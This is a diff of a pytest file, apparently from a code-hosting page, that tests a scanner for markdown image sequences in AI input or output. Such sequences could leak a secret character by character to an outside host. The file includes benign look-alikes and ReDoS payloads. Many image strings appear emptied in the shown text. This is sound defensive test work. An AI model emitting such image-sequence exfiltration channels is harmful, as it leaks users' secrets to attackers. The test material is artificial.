||||
def test_input_side_sees_it_too():
|
||||
found = [f for f in scan_output(CARRYING["dictionary-with-repeats"], source=Source.INPUT).findings
|
||||
if f.label == LABEL]
|
||||
assert len(found) == 1 and found[0].source is Source.INPUT
|
||||
|
||||
|
||||
# --- what does not ------------------------------------------------------------
|
||||
|
||||
QUIET = {
|
||||
"numbered-screenshots": "".join(f"\n" for n in range(1, 8)),
|
||||
"numbered-in-token": "".join(f"\n" for n in range(1, 8)),
|
||||
"zero-padded": "".join(f"\n" for n in range(1, 8)),
|
||||
"chapter-and-figure": "".join(
|
||||
f"\n" for c in (1, 2) for f in (1, 2, 3)),
|
||||
"named-gallery": "".join(f"\n" for w in (
|
||||
"overview", "install", "config", "deploy", "monitor", "cleanup")),
|
||||
"one-image-repeated": "" * 7,
|
||||
"different-hosts-and-shapes": (
|
||||
"  "
|
||||
" "),
|
||||
# Relative images name no attacker-reachable host, as for the single-image grade.
|
||||
"relative": "".join(f"" for c in SECRET),
|
||||
# A run of non-ordinary images is already HIGH per image; the sequence adds nothing.
|
||||
"already-carrying": "".join(f"" for n, c in enumerate(SECRET)),
|
||||
# A reference definition no image uses is a link list, not a fetch.
|
||||
"link-definitions-only": "\n".join(f"[{c}]: https://camo.test/{c}.png" for c in SECRET),
|
||||
"inline-image-is-not-a-shortcut-ref": " ".join(
|
||||
f"" for c, w in zip("AKIEXQ", (
|
||||
"overview", "install", "config", "deploy", "monitor", "cleanup")))
|
||||
+ "\n\n" + "\n".join(f"[{c}]: https://camo.test/{c}.png" for c in "AKIEXQ"),
|
||||
}
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name", sorted(QUIET))
|
||||
def test_a_run_that_carries_nothing_is_not_reported(name):
|
||||
assert _seq(QUIET[name]) == [], name
|
||||
|
||||
|
||||
# --- the accepted look-alikes (docs/LIMITATIONS.md) ------------------------------
|
||||
|
||||
ACCEPTED_TWINS = {
|
||||
"flag-table": "".join(f"|  |\n" for c in (
|
||||
"no", "se", "dk", "fi", "is", "de")),
|
||||
"lettered-figures": "".join(f"\n" for n in (1, 2, 3) for l in "ab"),
|
||||
}
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name", sorted(ACCEPTED_TWINS))
|
||||
def test_a_symbol_alphabet_that_happens_to_be_benign_is_still_reported(name):
|
||||
# Pinned so that a change which quiets these is seen and its cost measured:
|
||||
# the shape is the same as a symbol channel, and the residual is documented.
|
||||
assert len(_seq(ACCEPTED_TWINS[name])) == 1, name
|
||||
|
||||
|
||||
# --- self-safety ----------------------------------------------------------------
|
||||
|
||||
@pytest.mark.parametrize("unit", ["![a][", "", "[a]: https://x.test/b\n"])
|
||||
def test_crafted_input_stays_bounded(unit):
|
||||
payload = (unit * (200_000 // len(unit) + 1))[:200_000]
|
||||
assert scan_seconds(lambda t: scan_output(t, source=Source.OUTPUT), payload) < 2.0
|
||||
|
|
@ -428,6 +428,9 @@ _REDOS_PAYLOADS = [
|
|||
("active-md-image-url", scan_active_content, ",
|
||||
("active-md-link-url", scan_active_content, "[a]("),
|
||||
("active-html-tag-attrs", scan_active_content, "<a"),
|
||||
# 1.7.0: the reference-style image pattern behind the sequence rule. Its alt
|
||||
# run is the image row's `![` above; the label run behind it needs its own.
|
||||
("active-md-image-ref-label", scan_active_content, "![a]["),
|
||||
# 0.6.0 put a value parser behind the URL-attribute presence test. Its one run
|
||||
# is the `\s*` in front of the required `=`, so the unit has to DENY the `=`:
|
||||
# a unit that supplies it matches immediately and never exercises the run.
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue